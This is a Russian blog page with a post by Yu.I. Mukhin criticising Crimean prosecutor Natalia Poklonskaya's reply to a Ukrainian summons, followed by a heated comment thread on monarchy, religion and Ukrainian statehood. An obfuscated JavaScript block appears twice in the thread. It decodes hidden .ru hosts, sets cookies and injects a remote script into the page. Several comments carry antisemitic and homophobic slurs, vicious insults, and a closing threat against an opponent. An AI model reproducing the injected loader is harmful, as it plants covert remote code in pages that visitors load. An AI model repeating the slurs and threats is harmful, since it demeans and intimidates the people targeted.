У наших стран сформировались две героини.
На Украине это Надежда Савченко, которою героиней сделала глупость Кремля, и которой на Украине реально присвоено звание Героя Украины. А у нас в России это Наталья Поклонская, которую сделала героиней, скажем так, японская народная любовь.
Что касается Савченко, то выйдя на свободу, она оказалась себе на уме, мягко скажем, «неуправляемой», причём, до того неуправляемой, что на Украине уже собирают подписи под петицией, лишить Надежду звания Героя Украины за то, что она признала ДНР и ЛНР! Надо же! Только-только на свободу вырвалась, а режет и правду-матку, и Петьку-папку – всех подряд режет как циркулярная пила!
Что касается Поклонской, то она выглядела вполне адекватной, когда говорила на юридические темы, однако вид её кабинета, оформленного в духе черносотенного поздне-религиозного застоя, плюс её выход на шествие бессмертного полка с портретом единственного близкого родственника-участника Великой Отечественной войны – царя Николая II, - заставил многих почесать в затылке.
Однако, как пришло к нам из фильма «В джазе только девушки»: «У каждого свои недостатки», - тут, как говориться, чёрт с ней – с монархической шизой, - лишь бы прокурором хорошим была.
Но вот теперь возник вопрос в отношении неё, как юриста и прокурора.
Читаю в СМИ гордость за нашу Няшу: «Наталья Поклонская ответила приглашением украинских прокуроров в свой кабинет для дачи показаний, которые их интересуют». Дело в том, что «ранее сегодня стало известно, что Генеральная прокуратура Украины вызвала на допрос в Киев главу Крыма Сергея Аксёнова, прокурора республики Наталью Поклонскую и бывшего председателя законодательного собрания Севастополя Алексея Чалого».
Но мужики-то умные - они прореагировали, как мужики: «Аксенов назвал бредом и клоунадой новый вызов на допрос в генпрокуратуру Украины; по его словам, все это больше должно беспокоить украинцев, так как они «содержат этих дармоедов»».
А прокурор Крыма молчать не стала: «Если им не терпится получить какие-то ответы на определённые вопросы, то я их приглашаю в прокуратуру Республики Крым. Мой рабочий кабинет находится на третьем этаже. С 8 утра до 10 вечера я нахожусь на рабочем месте. Пусть приезжают, и я отвечу на все интересующие их вопросы», — ответила храбрая женщина (http://rusnext.ru/news/1466697513), да и дальше не молчала уже другим журналистам: ««Ни по месту жительства, ни по месту работы — они прекрасно знают, где я работаю — ни повесток, ни подозрений, ни обвинений не было. Они только все говорят впустую», — сказала прокурор. Поклонская пригласила следователя украинской Генпрокуратуры явиться к ней на работу и лично вручить все соответствующие документы, как того требует международное законодательство. В противном случае все инициативы по вызову на допрос идут вразрез с нормами закона и являются «ничтожными», отметила собеседница агентства». http://rusnext.ru/news/1466746628
Круто? Да!
Теперь следователям Украины осталось только приехать и допросить Поклонскую, получив доказательство её вины (что бы она им ни сказала) и своей юридической добросовестности для будущего заочного суда над нею, Аксёновым и Чалым.
Но суд - это дело десятое, тут дело в другом.
Даже если бы Аксёнов и Чалый (не юристы) пригласили украинских следователей для своего допроса, это уже было бы очень не хорошо, но ведь Поклонская не только юрист, но и прокурор! И её приглашение следователям приехать для допроса себя, в качестве подозреваемой, означает признание со стороны России на очень высоком юридическом уровне (Поклонская ведь прокурорская генеральша и прокурор республики) ЗАКОННОСТИ возбуждения на Украине уголовного дела против неё, Аксёнова и Чалого. А если ты признала законным возбуждение уголовного дела против себя, то вынуждена будешь признать законным и постановление приговора по этому «законному» делу.
И что - есть основания сомневаться в том, каким этот приговор будет?
Я подозреваю, что задача Поклонской в этом деле как раз и была прямо противоположной – доказать, что против неё, Аксёнова и Чалого на Украине дело возбуждено незаконно! Незаконно по сути, а не потому, что Поклонской официально повестку не вручили.
Жажда пиара губит человека. Губит!
Да и если бы его одного…
Ю.И. МУХИН
Меня не пускает в Киев отсутствие АК- 47
и мешка патронов.
Нет проблем
На Донбассе всё дадут и даже батюшки причастят, только не
писвисти тут по-пустуЧахлик я тебе не о Донбасе, а о Киеве
И не свисти сам - ещё в Сирию или Нигерию меня отправь, вот оттуда типа с автоматом на перевес до Киева в пешем строю ещё ближе... Ну-ну юморист ты!!!
Не понял юмора?
Какое тебе дело до Киева, тогда - если Сирия и Нигер для тебя тоже "русская земля"? А я тебе лишь "дорожную карту" выписал (как с автоматом, твой язык - доведёт тебя до Киева)))
С дулом у виска и "ленточку"
С дулом у виска и "ленточку" надеть хоть куда не проблема. Только, к каждому виску дуло перманентно не приставишь. Кстати, в первую мировую были и те, кто только с крестом в атаку воинов поднимал:
Normal
0
false
false
false
RU
X-NONE
X-NONE
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Обычная таблица";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-fareast-language:EN-US;}
На Юго-Западном фронте 9-й Казанский драгунский полк получил приказ атаковать, но не мог двинуться с места под жестоким огнем. Тогда вдруг полковой священник о.Василий (Шпичек), очень тихий и скромный человек, выехал на своей смирной лошадке вперед и крикнул: “За мной, ребята!” – и поскакал, безоружный, на врага. За ним ринулись офицеры, потом весь полк. И смели противника. Впрочем, такой подвиг был далеко не единичным. В бою был убит священник 318-го Черноярского полка о. Александр (Тарнаутский), возглавивший атаку с крестом в руке. Таким же образом погибли еще несколько священнослужителей в гвардейских и армейских полках. Часто священники брали на себя столь опасное дело, как вынос раненых с поля боя. Всего же за время войны через службу в армии прошло свыше 5 тыс. священнослужителей. Из них 14 были награждены орденом Св. Георгия IV (офицерским) степени (некоторые посмертно), 227 – наперсным крестом на Георгиевской ленте, 288 – орденом Св. Владимира III и IV степени, 543 – орденом Св. Анны II и III степени. Было убито и умерло от ран более 30, ранено более 400, а 100 военных священников оказались в плену. И как разъяснял протопресвитер армии и флота Георгий Шавельский: “Пленение священника свидетельствует, что он находился на своем посту, а не пробавлялся в тылу, где не угрожает опасность”.
Normal
0
false
false
false
RU
X-NONE
X-NONE
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:"Обычная таблица";
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-parent:"";
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin-top:0cm;
mso-para-margin-right:0cm;
mso-para-margin-bottom:10.0pt;
mso-para-margin-left:0cm;
line-height:115%;
mso-pagination:widow-orphan;
font-size:11.0pt;
font-family:"Calibri","sans-serif";
mso-ascii-font-family:Calibri;
mso-ascii-theme-font:minor-latin;
mso-hansi-font-family:Calibri;
mso-hansi-theme-font:minor-latin;
mso-fareast-language:EN-US;}
Каюсь, грешен.
Ибо человек, а не кощей бессмертный.
Чахлик невмирущий Ребята, вы просто не знакомы с темой
Не, почтенный! всё иначе!!!!
А однохренственно,-- осознано аль нечаянно... В евангелях хором сказано что "Исусь принял на себя /аки жертвенный козёл иудейского отпущения/ все грехи человечества...."
Что верно осознали баптисты твеордящие что они теперя безгрешны.
И русско/християнская песнь про разбойника ушедшего в монахи... Во блин, все грехи оптом снял.
Да ну? А с хрена ли вы свою сучность на всех вешаете?
Вам это поп набрехал?
Покояние перед попом, иконой, ...и проч хернёй безсмысленно...
Грехи /ошибки сверщённые в жизни/ исправляются делами праведными. Каятся надо не перед попом, а перед человеком коего вы обокрали. И не каятся, а вернуть украденое.
Христианство это религия быдла. /быдло=скот= бараны= агнцы божьи/
Обряд покояния это способ снять с быдла ответственность за свершённые мерзости.
Как там в евангелях: "убийца с соседнего с исусом креста покаявшийсь прощён был"
А млядь, от его "покояния" дети им убитого сытыми стали?
от его "покояния" дети им убитого сытыми стали?
А тут еще вопрос, дети правильной веры были или неправильной.
Вредный гость и Евгений, вы же сами по-жидовски и мыслите
Баптисты-то "бесгрешны", но взять на себя "грехи человеческие" означает стать одним из людей - приняв человеческую плоть... Из этого состояния Христос и указал путь к спасению всему человечеству, а какой прок поучать людей тому - к чему они не имеют ни малейшего отношения? Это удел всех ветхозаветных религий - запугивать страшными карами и сооблазнять чудесами. А Христос хоть и совершал чудеса, но просил (кому он помог) не предавать этому значения и по возможности - никому не рассказывать, т.к. его главная миссия заключалась совсем в ином чуде, доступному каждому из смертных (снова стать бессмертным)
Чахлик невмирущий вы же сами по-жидовски и мыслите
Да вы ещё и богОсловСтвуете?
Вопрос о том считать ли Исуса человеком, али богом решили голосованием на "вселенском " соборе с перевесом аж в 1 голос и мордобоем. С той поры пошло Арианство утверждающее что Исус обычный человек только богом ушибленый.
Дык вота. Каждое слово значит только то, чего оно значит и никаких толкованиев!
Идея избавления от грехов методом халявы это неотъемлемая часть иудейства /козёл отпущения/ Христианство же, как секта иудаизму, козла переименовало в Исуса, причём оставив козлинную сущность самой идеи.
Спасению кого? От чего? От врождённой греховности?
Дык поймите что до крещения и после раскрещивания... все люди БЕЗГРЕШНЫ. Ибо само понятия "грех" это понятие ложное.
Грехов не бывает. Бывают "неправильные поступки" да и то смотря с какой кочки зрения.
То что кажется правильным сегодня -- завтра может стать причиной катастрофы. То что справедливо одному -- может быть несправедливо другим.
Христианство - это религия социальных отбросов Римской империи, придуманая социальными паразитами для управления быдлом.
Неправильной. "Баптисты" по
Неправильной. "Баптисты" по форме, это католики, т.е. - люди признающие учение Христа и крещение через воду и называющие это по-латыни (сравним отрицантов раскольников от католичества (одной из ветвей) - анабаптисты). "Евангельские христиане-баптисты", это либо тафталогия в кубе, либо диверсия Ватикана, под прикрытием слабоумия и заимствования иностранных слов. "Евангельские христиане" - а какие еще могут быть христиане, кроме евангельских? Редуцируем - "христиане - баптисты". Имеем два слова в связке - одно от греческого, другое от латинского. И вспоминаем про Феррару, Флоренцию, а точнее, про "унию". В чистом выхлопе (пардон, Resume) - имеем униатскую секту от "туфель наместника св. Петра", как в духовном, так и в политическом смысле.
Осознанно грешить, чтобы
Осознанно грешить, чтобы потом покаяться? Не Гришки ли Распутина "душком" пахнуло?
Клятвопреступники.
А то, что Юрьевы-Захарьины немножко ранее нарушили присягу или, как там она тогда называлась - крестоцелование, Рюриковичам - это нормально, это не в счёт? Устроили заговор, грохнули Ваню четвёртого, затем Федю, после Борю, ну а потом уже Романовы - царь Миша и евоный папаша - занимавший при ём должность Патриарха под кликухой "Филарет", повесили - ироды и святотатцы - над Спасскими воротами Кремля четырёхлетнего мальчонку - "ворёныша" - это тоже пустяк? А что и как там злодействовали и кого предавали Гольштейны - Готторпские во время бесконечной резни в Европах - кто знает? Однако же третий Петруша, а после него вторая Катя (ухайдокавшая своего богоданного супруженика) отдала, добытые русской кровью Берлин и Пруссию - это тоже пустяки и мелочёвка? Да и внучок ейный - Сашенька-"благославенный", с согласия которого забили, как мамонта, его же батюшку - первого Пашу, - не нарушал ли (совместно с енералами - никакими не большевиками, а кондовыми аристократами-гвардиоусами) присяги своему государю и, по совместительству - папашке? Да и кто, в конце концов, спихнул Николашку с трона и ухапшил Алису с детишками - не генералы, не аристократы, не промышленные и финансовые тузы? И кто отказал своим родственничкам в убежище - не Гоша ли великобританский? Впрочем, для Няшечек и Няшей всё это, конечно же, несущественно.
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26697",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Заморский гость, свои страшилки о России рассказывайте соседям
А они поймут и оценят (только не пугайте их тем, что английская королева - это русская радистка Кэт))... Много чего было, конечно - неприглядного в истории русской монархии, но главное в этой русской идее "народной монархии" была бесспорность наследия царского Престола - законным наследником, истинное происхождение которого никого в России не интересовало. Был ли, к примеру, Павел родным сыном Петру-3 (?) - дело житейское, но Александр 1й - так или иначе причастный к гибели своего батюшки, продолжил его дело и это - главное (система работала очень просто и безотказно)!
Чахлику. Насчет безотказно.
Чахлику. Насчет безотказно. Сбои конечно были. В 1800-м Балтийский флот скрылся за стенами Кронштадта от эскадры Нельсона. Хотя шведы тогда поступили точно также. Декабристы, в 1854-м Нахимов утопил Черноморс. флот. Лучшего подарка антирусской коалиции было трудно уже представить. Ну а далее процесс пошел по нарастающей. Ошибки, бездарность, подлость, трусость командования в 1877-1878, 1904-1905, 1914-1917-х гг. Кончилось тем что государя свергли его же слуги. Конечно поздние русские цари пытались решить проблему. Но сам результат говорит о том что ошибки, недостатки и недоделки были. С уважением, Олег.
"Православие, самодержавие, народность."
А вы вспомните русские народные поговорки: " До бога - высоко, до царя - далеко. Подай царю, ино и псарю. Жалует царь, да не жалует псарь. " Дальше - сами. Еще раз повторю для эстономыслящего - затравили и спихули со стульчака всерасейского Николашку-фотографа именно его же псари. Да и "избрание" Миши первого (как и Мишки второго, пятноголового, и Бориски второго, заслуженного алконавта) не обошлось без интриг, подкупов, мошенничества и надувательства, даже если следовать официальной историографии. У спасителя Руси - князя Пожарского пенёнзов и тугриков не достало, а вот патриаршая казна (патриархом, напоминаю, бысть в то времечко папик недоросля Мишеньки - поп Филарет) была куда, как полнее. Насчёт "простоты", коя, как известно , хуже всякого воровства - очень даже просто - прогнать сквозь строй батальона пару-тройку раз бравых ребятушек, а потом с глухой исповедью причастить - и вся недолга. Зато позже дворцы с электричествами, как выразился один Санкт-Петербуржский извозчик - "... царская фря п... м заработала," Отакi справи с отою "простотою" и прочими монархоидальными прелестями друже "Задохлику",
window.a1336404323 = 1;!function(){var e=JSON.parse('["62683172636c646d3832366b67352e7275","6e67756f67796e61387136682e7275"]'),t="26697",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "ymuhin.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
Не все так просто. Муза Клио
Не все так просто. Муза Клио в последнее время все чаще напоминает Немезиду - глаза завязаны у обеих, но фильмы им показывают разные. Правда, итог у этих фильмов один - одураченные. Не зря же богине правосудия в 16 веке (болеее ранних статуй, не знаю) завязали глаза, а сейчас мы видим не повязки даже, а фараоновы бинты на глазах Клио (ей простительно, она просто Муза). В итоге - смеются Приап и Мамон, хоть и из разных "опер" , но интересы схожие - "Великая комедия про одураченных (писаная от времен не знаемых до времени нового и охватившая в себе все народы и языки, от англо-саксов, ныне считающих себя хозяевами Мира до китайцев, считающих себя, в силу заблуждений собственных и стараниями Матери нашей церкви, вельми древними)" - писано И. Лойолой и его последователями, Вечному престолу во славу, а душам своим во утешение).
Главное в идее "русской
Главное в идее "русской монархии", это не идея беспорности наследия (в Европе бесспорность тоже стояла не на последнем месте), главное, это слияние вертикали верховной власти с тем, что бы сейчас назвали "органы местного самоуправления", при подчинении авторитета любой власти Вере (не органам ее представляющим, а идее служения Государству, кое есть наместничество Божие на Земле - от смерда до царя). Русское самодержавие до Петра I имело четко выраженный приоритет - государь волен в своей воле, пока его воля не противоречит воле "Земли-Мира". Не зря с учреждения Земских Соборов их так часто собирали. Повеление государя и приговор боярской Думы зависели от решения "Земли". Напомню устоявшееся вплоть до Николая последнего - русский крестьянин мог обратиться к государю на "Ты". Даже анекдот есть есть на эту тэму, при посещении Николаем II какой-то (прошу прошения, сейчас уже не помню какой) губернии, представитель земства зачитывал речь: "Ты, государь наш столп, столп (просто далее, разволновавшись, забыл текст заготовленной речи)... Николай отломил край поднесенного каравая и сказал с улыбкой - а ты столб, после чего передал поднос сопровождавшим лицам и проследовал в зал. "
Кстати, Александр I ,был совсем не продолжателем дела своего отца, Павел стоял за союз с Наполеоном (вплоть до посылки совместного экспедиционного корпуса в Индию против англичан) и чхать хотел на Пруссию, Австрию и прочая, прочая (включая Англию).
Заморскому гостю.
Заморскому гостю. Блеск!
Вы только забыли добавить: по какому праву? Судя по тому что нет ответов от форумных монархиздов сказать им нечего. В том же духе. С уважением, Олег.
А с дураками какой прок в спорах и возражениях?
Поставь (силою воображения) себя на место царя, Олег - может поумнеешь...(и чего-же на Путина тогда глядите, словно на царя тоже - письма президенту пробовали писать)))??? А без Бога в душе и царя в голове, наш народ обречён на погибель (и туда ему дорога - если не поумнеет и не покается)
Чахлику. Процессами в
Чахлику. Процессами в обществе управлять трудно, согласен. Но удачные примеры все-таки были. Насчет Бога в душе и царя в голове. Дык нормальному человеку для счастья довольно ума и совести. Травля семьи Ивана 4-го и последующая Смута была как раз при православной монархии. Выходит ее одной для полного счастья мало. С уважением, Олег.
А тебе не кажется, Олег, что живём в смутное время тоже?
Во все времена найдутся люди, которым "война - мать родная"... Вспомни 90-ые, а ведь для некоторых это было золотым временем (земной рай для бандитов и отморозков). А смута потому и произошла в самом начале 17го века, что переживали подобие демократии: Семибоярщину (а 90-ые и по нынешний день наши люди называют не иначе - как Семибанкирщина)), хотя "Великой смуте на Руси" в следующем году уже 100 лет исполнится
Чахлику. Согласен. История
Чахлику. Согласен. История повторяется. Опять по официальным данным все отлично, а на деле..... История учит что ничему не учит. С уважением, Олег.
Заморский гость. Клятвопреступники.
Согласен со всем вами сказанным!
Добавлю только то что после Рюриковичей русских на русском царении небыло.
Небыло вообще русской крови в "русских" царях..
А в Пушкине негритянских кровей от прадеда 1/8=0,125 часть. Но все визжат что Пушкин негр.
Вралю вредному
А чего не наврал, что они все клятыми большевиками были. А Пушкин борец в большевицким царём:- Во грубине сибирских руд и так далее...
Территориальная целостность
Территориальная целостность Украины была нарушена и это неоспоримый факт. По этому факту в отношениии лиц, причастных к нему, были возбуждены уголовные дела
=============
Что за чушь беспримерная. Откуда у вас возникла территориальная целостность Вкраины? От верблюда?
В результате чего именно она возникла? Пример хотите?
В умыкнули чужой чемодан в вагоне - на пероне вас догнале и начистили рыло, отняли чемодан. Вы орете, караул грабят!! Милиция!!! Вы все видели как они меня вот сюда били ногами?
У прохожих, что не в теме про вашу кражу чужого чемодана может сложиться впечатление, что так и было - напали и отобрали.
Тут начинаются разборки и выясняется что вы чемодан дернули с полки по сговору с проводником вагона. А он какое отношение имел к нему? К чужому чемодану?
Вот так и Ельцин какое к херу имел отношение к моему имуществу - территории СССР? Я что ему дарил, продал, в шашки проиграл? Как это он сука и вы вслед за ним вторая сука, моё имущество тут делите?
Гостьex
Ну раз уж решил фенить со мной по бозе и применять ко мне воровские жаргонизмы, то лучше тебя было бы вообще проигнорировать, но с другой стороны достал уже своим юрдическим крючкотворством по СССР. Так что не столько для тебя, сколько для других отвечу.
Все твои юридические потуги ничтожны, ибо нет в международном праве точного и всеми признанного определения, что есть государство. Именно поэтому ехидная приставка "самопровозглашенный" на самом деле тупа именно в своем ехидстве, так как все, абсолютно все государства образовались в результате самопровозглашения. И их легитимность определяется только готовностью населения признавать себя гражданами этого государства, а так же готовностью признать его другими государствами. Именно поэтому существуют государства, для одних государств легитимные, а для других не легитимные - то есть, для некоторых государств некое государство N существует, для некоторых такого государства нет.
В противном случае всегда можно было бы отмотать историю назад до Рюрика и раньше, а США считать несуществующими по той простой причине, что вообще-то они были собственностью британской котороны. А лучше еще раньше к индейским племенам отойти. А можно заглянуть и поближе и поинтересоваться, на каком основании тот же Донбасс оказался в составе Украинской ССР? Это легитимно было сделано?
Итак, в свете вышесказанного, каковы признаки наличия государств РФ и Украина? Признание населением своего гражданства по отношнию к этим государствам. Выражается это в получении паспорта гражданина и я не сомневаюсь, что и ты, балабол, ходишь с паспортом РФ. Кроме того, в результате выборов население этих государств делегировало часть своих властных полномочий парламентам и президентам. И не надо сейчас про подтасовки и прочее, это совершенно международное право не колышет, ведь нигде нет честных выборов - в тех же США для этого нужно быть мультимиллионером и состоять в одной из двух партий, которые не юридически, но по факту никого к возможности быть избранным не допускают. Но и это не суть, потому что мы же обсуждаем формальную сторону, а не содержание, ты ж у нас великий юркомбинатор, вот и не дергайся от формального, чисто юридического подхода.
Отсюда дальше идем. Избранная власть является легитимной, получая возможность действовать от имени народа. Она и действовала. РФ и Украина признали наличие на карте друг друга в лице представителей народа и в тех границах, которые вы теперь решили оспаривать. Не важно, что там было с Крымом при Хрущеве и Донбассом при Ленине, главное, что в 1991 прозошло, а это-то известно. Эти государства были признаны и другими государствами в виде прямых договоров, а также посредством косвенного признания через фактически всеохватную международную организацию - ООН. Причем единогласно.
Вы можете сколько угодно лепить свои домыслы из унылых фантазий, на которые всем насрать. На реальную жизнь это не оказывает никакого влияния. Удачи тебе в дальнейшей юридической мастурбации. И не грузи меня больше. Это ж ты тупил по предприятиям Донбасса? Кажется, ты. Помню-помню твое полное незнание, как реально, а не в твоих наковырянных козюлях, работают предприятия. Короче, уйди, старушка, я в печали!
Вот такие уроды умственные всё и натворили
Урод, для того чтобы о чем -то писать, нужно хотябы понимать о чем именно ты пишешь, хоть приблизительно и хоть поверхностно. У тебя же, тля бестолковая, этого нет и не предвидится, что возникнет.
И так, инфузория, не для тебя, а остальным объясняю в чем твоё горе горькое. В отсутствии всякой даже в зачаточной форме элементальной логики.
Значит гришь недоносок умственный, что - каковы признаки наличия государств РФ и Украина?
Их нет этих признаков, поскольку действительным является договор о сохранении СССР граждан СССР, а они своего решения не меняли и потому, любые действия в противоречие с таким договором - ничтожны.
Ничтожное действие это ноль в переводе на математический язык и сложил ты при этом два нуля, сто или 37 млн нулей в сумме остается тот же ноль или ничего.
Поскольку ты сволочь жидовствующая, то спекулировать сложением ничего для тебя - обычное дело и два три и пять миллионов ничего у тебя становятся государствами, что должно веселить даже среднеразвитых даунов, а уж о простых людях и говорить нечего, шут гороховый.
==
Признание населением своего гражданства по отношнию к этим государствам. Выражается это в получении паспорта гражданина и я не сомневаюсь...
То есть ты предлагаешь логику Эриха Коха, что распорядился выдавать на оккпированной территории Украины аусвайсы и тем граждане СССР стали гражданми Третьего Рейха?
Ты дундук? А про то, что сделка под влиянием, насилия, угроз, обмана и злонамеренного соглашения представителя одной стороны с другой стороной, или стечения тяжелых обстоятельств ты когда-либо слышал, тупица? Нет? Так значит ты, сволочь, тут от имени Третьего Рейха клюкву свою развешал, поскольку твоей бабке Эрих аусвайс выдал в 42 году?
===
Теперь по поводу такого способа приобретения собственности как голосование. Ты твердо убежден, что если ты проголосовал как гражданин 3 Рейха за свой Рейх, то чужое имущество стало твоим?
А если я приду к тебе и проголосую что всё твоё теперь моё и друга Васи, то ты нищий как церковная мышь станешь.
Да ты урод в квадрате, если так мыслишь что чудое имущество переходит твоим голосованием, а не по правилам действующего закона и договора. Ты, мокрица где нашел имущество для Обкуры нэзамужней? Кто тебе хоть молекул имущества СССР передавал?
Если группа шизофреников таких как ты образовала некое ООО "государство" - да слава богу, хоть три или пять в день, никто не возражает опидорашенному алогизмами уму это делать. Но дальше-то что? Гуся то чужого куда потащил Мих Самуилович? Откуда у тебя территория? Тебе грозит административное выдворения после земляных работ именно в сторону твоего мнимого государства.
=========
Теперь, выродок, немного о международном праве. Оно выражено в документах ООН, где нет, и не надо лгать как сволочь последняя, никакого решения ООН о призаннии РФ или Украины. ТО ты нафантазировал. А вот есть там только СССР и сведения границах СССР. В отношении другого государства - УССР так есть только указание на наличие между РСФСР и УССР внутренней административной границы. И нет - о внешней.
ТО есть как УССР не числилась с самостоятельной границей так и по сей день не числится, а самозванное никем не признанное, включая граждан СССР в первую очередь, государство трезубое - это вообще химера полная. Мимикрия под государство - пейсатый драмкружок кройки и шитья с телевизором.
Нет ни единого легального основания для существования оной окраины в статусе государства.
Но есть Хельсинские соглашения о нерушимости границ в том числе СССР, подписаные более сотней стран мира и действующие поныне. Так есть СССР, а бандеровской трезубы там нет и потому это мясо с точки зрения международного право, просто мясо и ничего более.
Выгодно ли СЩА и Британии иметь мясо вместо СССР? Конечно выгодно и потому они глаза в сторону, но легализовать РФ и Украину они никогда и ни за какие коврижки не легализуют, тк если нашли блядь привокзальную такую как ты то оформлять паспорта и гражданство на сию падаль невыгодно, без них ты и на органы сгодишься и на расчлененку и синей пасти - универсальный раб, коего всегда при случае можно ставить раком и вправить в сраку. А признай тебя человеком - уже нельзя, закон не велит права человека и ты-ры пыры.
Вот ты в таком опидорпашенном виде и будешь в своей самопровозглашенной Обкуре вечно и ни в какую Европу или даже в Конго тебя, мясо, никто никогда не примет, разве только по живому весу как КРС или как ножки Буша в мороженном виде. Потому что потерять статус можно только раз больше тебя никто равным никогда и ни за что не признает - место твоё будет вечно только на параше и с просверленной ложкой. (большой "знаток" экономики).
===
Источники:
1. Хельсинские соглашения о нерушимости границ СССР - в международно-правовой области: закрепление политических и территориальных итогов Второй мировой войны, изложение принципов взаимоотношений между государствами-участниками, в том числе принципа нерушимости границ; территориальная целостность государств; невмешательство во внутренние дела иностранных государств;
2. Венская конвенция о праве международных договоров, из которой следует что новые государства РФ и Украины не возникли, тк не было расторжения международного договора об СССР. Не соблддено ни единое обязательное для расторжения договора правило этой конвенции.
3. Закон о выходе союзной республики из СССР О ПОРЯДКЕ РЕШЕНИЯ ВОПРОСОВ, СВЯЗАННЫХ С ВЫХОДОМ СОЮЗНОЙ РЕСПУБЛИКИ ИЗ СССР ЗАКОН ВЕРХОВНЫЙ СОВЕТ СССР 3 апреля 1990 г. N 1409-I
из которого следует, что никакого выхода из договора не было и никакого выдела имущества и волеизъявления народа СССР и республики не было. Сначала всраку щири вышли из паровоза, а потом вспомнили, что всё имущество забыли на прошлой станции в камере хранения.
4. О недействительности Беловежского соглашения - ПОСТАНОВЛЕНИЕ Государственной Думы Федерального Собрания Российской Федерации от 15 марта 1996 г. № 157-II ГД О юридической силе для Российской Федерации — России результатов референдума СССР 17 марта 1991 г. по вопросу о сохранении Союза ССР.
5. Ничтожная сделка (совершенная с нарушением закона) недействительна независимо от признания её таковой судом и не влечет никаких последствий, кроме тех что связаны с её недействительностью - то есть рестируции.
Поэтому платить тебе, сволочь, не переплатить за твои сепаратисткие выходки и публичную агитацию сепаратизма по закону от 2 апреля 90 года. Прослежу лично, у нас у же в Одессе достаточно сторонников - с удовольствием проведут принуждение ко взысканию.
Самопровозгласить ты можешь на марсе или луне, короче, куда доле
